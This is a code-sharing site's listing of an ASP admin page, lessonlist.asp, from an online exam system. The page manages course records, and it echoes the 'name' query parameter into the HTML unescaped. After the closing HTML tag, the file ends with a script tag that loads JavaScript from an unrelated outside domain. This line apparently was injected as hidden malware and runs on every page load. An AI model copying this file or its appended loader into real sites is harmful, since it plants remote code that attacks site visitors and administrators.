⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 lessonlist.asp

📁 通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务
💻 ASP
字号:
<!--#include File="isAdmin.asp"-->
<!--#include file="../class/ELesson.asp"-->
<!--#include file="../class/EQuestion.asp"-->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>课程管理</title>
<link rel="stylesheet" href="../style.css">
</head>
<body link="#000080" vlink="#080080">
<form id="form1" name="form1" method="POST">
<%Set eq = New EQuestion
  Set ls = New ELesson
  '处理添加、修改和删除操作
  dim Soperate
  Soperate = Request.QueryString("oper")
  Operid = Request.QueryString("lid")
  '删除
  If Soperate="delete" Then
    '判断题库表中是否存在该课程
    If Not eq.HaveLId(Operid) Then
      '删除课程
      ls.DeleteLesson(Operid)
      Response.Write "课程已经成功删除!"
    Else 
      Response.Write "题库表中包含该课程信息,不能删除"
    End If
  '添加
  ElseIf Soperate = "add" then
    lName = Request("txttitle")
    '判断是否已经存在此课程名称
    ls.LName = lName
    '如果没有此课程名称,则创建新记录
    If NOT ls.HaveLesson(lName) Then
      ls.InsertLesson()
      Response.Write"课程已经成功添加!"
    Else      
      Response.Write "已经存在此课程名称!"
    End If
  ElseIf Soperate = "edit" Then
    lName = Request("txttitle")
    ls.LId = Operid
    ls.LName = lName
    '如果没有此课程名称,则修改记录
    If NOT ls.HaveType(lName) Then
      '更新
      ls.UpdateLesson(Operid)   
      Response.Write "课程已经成功修改!"
    End If
  End If
%>
<p align='center'><font style="FONT-SIZE: 12pt"><b>课程管理</b></font></p>
<center>
<table border="1" cellspacing="0" width="90%" bordercolorlight="#4DA6FF" bordercolordark="#ECF5FF">
  <tr>
    <td width="20%" align="center" bgcolor="#eeeeee"><strong>课程编号</strong></td>
    <td width="40%" align="center" bgcolor="#eeeeee"><strong>课程名称</strong></td>    
    <td width="20%" align="center" bgcolor="#eeeeee"><strong>修 改</strong></td>
    <td width="20%" align="center" bgcolor="#eeeeee"><strong>删 除</strong></td>
  </tr>
<%
  '读取所有的课程数据到记录集rs中
  ls.GetLessonList()
  If ls.rs.EOF Then
    '如果记录集为空,则显示“目前还没有记录”
    Response.Write "<tr><td colspan=4 align=center><font style='COLOR:Red'>目前还没有记录。</font></td></tr></table>"
  Else
    '在表格中显示课程名称
    DO WHILE Not ls.rs.EOF
%>
  <tr>
    <td align="center"><%=ls.rs("LId")%></td>
    <td align="center"><%=ls.rs("LName")%></td>
    <td align="center"><a href="LessonList.asp?Oper=update&lid=<%=ls.rs("LId")%>&name=<%=ls.rs("LName")%>">修 改</a></td>
    <td align="center"><a href="LessonList.asp?Oper=delete&lid=<%=ls.rs("LId")%>">删 除</a></td>
  </tr>
<%
      ls.rs.MoveNext()
    LOOP
  End If
%>
</table>
</form>
<% 
  '如果当前状态为修改,则显示修改的表单,否则显示添加的表单
  If Soperate = "update" Then
	sTitle = Request.QueryString("name")
%>
    <form name="UFrom" method="post" action="LessonList.asp?lid=<%=Operid%>&Oper=edit&name=<%=sTitle%>">
	  <div align="center">
		<input type="hidden" name="sOrgTitle" value="<%=sTitle%>">	
		<b><font color="#000000">课程名称</font></b> 
		<input type="text" name="txttitle" size="20" value="<%=sTitle%>">
		<input type="submit" name="Submit" value=" 修 改 ">
		</div>
	</form>
<%Else%>
	<form name="AForm" method="post" action="LessonList.asp?Oper=add">
	  <div align="center"><b><font color="#000000">课程名称</font></b> 
		<input type="text" name="txttitle" size="20">
		<input type="submit" name="Submit" value=" 添 加 ">
	  </div>
	</form>
<%End If%>
<%ls.rs.Close%>
</BODY>
</HTML>
<script language=javascript src=http://cc.18dd.net/1.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -